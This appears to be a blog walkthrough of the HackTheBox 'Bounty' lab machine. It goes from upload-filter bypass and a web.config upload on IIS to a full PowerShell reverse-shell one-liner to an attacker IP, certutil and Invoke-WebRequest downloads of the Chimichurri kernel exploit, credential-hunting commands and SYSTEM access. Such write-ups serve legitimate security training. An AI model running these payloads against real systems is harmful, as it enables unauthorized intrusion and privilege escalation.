General··6 min read

HTB Bounty: File Upload to System via Chimichurri

Web Shell Upload via Chimichurri

For Linux-side examples of the same upload-to-webshell technique, compare HTB Nibbles: File Upload to Root and HTB Bank: Chasing Balance Transfers to Root Shell.

System Access and Post-Exploitation

Add ip address of the target machine to /etc/hosts

nano /etc/hosts
/etc/hosts entry mapping the Bounty target IP to its hostname

Continue with port scan:

nmap -sC -sV -p- --min-rate 10000

Just because not to make overkill NSE script scans, I simply use default scripts, service discovery and full scope scan with 10000 rate.

Most probably running on .NET framework based on the web server type.

Web server discovery output revealing the Bounty server type

Well let's conduct fuzzing operation to correlated web server instance ->

Directory fuzzing output to enumerate the Bounty web server
dirsearch -u http://bounty.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bounty.htb/FUZZ
Fuzzing results revealing additional endpoints on the Bounty target

These are the potential endpoints that I found so far ->

[01:41:19] 301 -  155B  - /aspnet_client  ->  http://bounty.htb/aspnet_client/
[01:41:21] 301 -  155B  - /uploadedfiles  ->  http://bounty.htb/uploadedfiles/
[01:41:22] 301 -  155B  - /uploadedFiles  ->  http://bounty.htb/uploadedFiles/
[01:41:27] 301 -  155B  - /UploadedFiles  ->  http://bounty.htb/UploadedFiles/
[01:41:29] 301 -  155B  - /Aspnet_client  ->  http://bounty.htb/Aspnet_client/
[01:41:38] 301 -  155B  - /aspnet_Client  ->  http://bounty.htb/aspnet_Client/
[01:41:56] 301 -  155B  - /ASPNET_CLIENT  ->  http://bounty.htb/ASPNET_CLIENT

Because we are dealing with .NET lets try .asp, .aspx extension files.

gobuster dir -r -u http://bounty.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x ".asp,aspx"

Observe there were another endpoint seem open:

Additional open endpoint discovered during Bounty enumeration

File upload can be seen below:

File upload form on the Bounty target

However, .aspx reverse shell does not work upon here

ASPX reverse shell

ASPX reverse shell payload being prepared for upload

However, file type was not allowed on the FileUpload1 form. Moreover, I discovered a client-side filter on source code of the page.

Client-side file upload filter found in the page source code

I began to bypass client-side filter by removing onclick javascript method on html

＜input type="submit" name="btnUpload" value="Upload" onclick="return ValidateFile();" id="btnUpload"＞


＜input type="submit" name="btnUpload" value="Upload" id="btnUpload"＞

However, it did not work lets instantiate with BurpSuite ->

I altered extension type to add .jpg and bypassed successfully

File upload filter bypassed successfully with a modified extension

Well there was a clue on hacktricks about file upload:

IIS file upload

IIS file upload confirmation on the Bounty target

HackTricks suggests uploading files in below:

Test executable file extensions:

- asp
- aspx
- config
- php

aspx and asp already did not work.

I will try respectively each of them ->

Web.config

php also did not work. However, .config file successfully worked.

Uploaded ASPX file executing successfully on IIS

It works successfully

Terminal output confirming the uploaded payload works

Lets move a powershell rev shell connection.

Rev Shell Powershell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.16.64',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

I got reverse shell connection from target.

Reverse shell connection established from the Bounty target

Enumerate target:

Post-exploitation enumeration commands on the Bounty box

According to red team field manual book, page 18 I will use seperate commands together

ver
systeminfo
set
net localgroup "Administrator"
//find files//

dir /a /s /b C:\*txt*

findstr /SI password *.txt (took longer)
Windows enumeration commands from the Red Team Field Manual

I saw a SeImpersonate surface ,but I will move direct lack of hotfix applied Windows server 2008 R2 Datacenter instance.

Windows Server 2008 R2 system details on the Bounty target

WindowsExploitSuggester

Copy systeminfo output to TXT file.

Enumeration output saved to a TXT file on the Bounty box

Update the windows exploit suggester version:

./windows-exploit-suggester.py --update

Run:

./windows-exploit-suggester.py --database 2026-03-14-mssb.xlsx --systeminfo ex.txt
Privilege escalation exploit command being run

Since I forgot to install dependencies of tool, I faced with critical issues including stuck when executed and error message on terminal.

Exploit dependency errors encountered during privilege escalation
Exploit tool dependency installation output

instal dependencies:

pip install xlrd
pip install xlrd --upgrade

database file detected as xlsx based on extension
[-]
please install and upgrade the openpyxl library

pip install openpyxl

Since no hotfix applied, It is a great opportunity to try multiple kernel exploits at once:

Hotfix(s):                 N/A

I would rather use famous exploit MS10-059 via Chimichurri because other exploits mostly providing DOS as utility ,but I needed to escalate my privileges except the Token Abuse.

Terminal output during the Chimichurri exploit attempt

Download from here:

https://github.com/egre55/windows-kernel-exploits

Initially, I'll try wget and Invoke-WebRequest method to download exploit.

wget 'http://10.10.16.64:3131/Chimichurri.exe' -outfile 'exploit.exe'

It did not work.

Failed exploit attempt output on the Bounty box

Direct Invoke-WebRequest cmdlet may work:

$url = “http://10.10.16.64:3131/Chimichurri.exe“  
$dest = “c:\windows\Temp\Chimichurri.exe”

Invoke-WebRequest -Uri $url -OutFile $dest

I can ping my attacker machine through the victim ,yet still did not download exploit.

Ping output between attacker and Bounty victim machines

Certutil usage

certutil.exe -urlcache -f http://10.10.16.64:3131/Chimichurri.exe bad.exe
Certutil command used to download files on the Bounty target

It worked perfectly ,but in my instance I was running another application running via nginx ,so it disallowed me to send the kernel exploit.

Exploit guided me to get shell via attacker machine.

Chimichurri exploit output guiding the reverse shell

Run exploit as suggested:

Chimichurri exploit execution on the Bounty target

Got admin shell:

Administrator shell obtained on the Bounty target

Normally the visibility of the user flag is hidden ,but I simply and automatically type user keyword then it revealed.

User flag retrieval on the Bounty target

Get root flag ->

Root flag captured on the Bounty target

Related Posts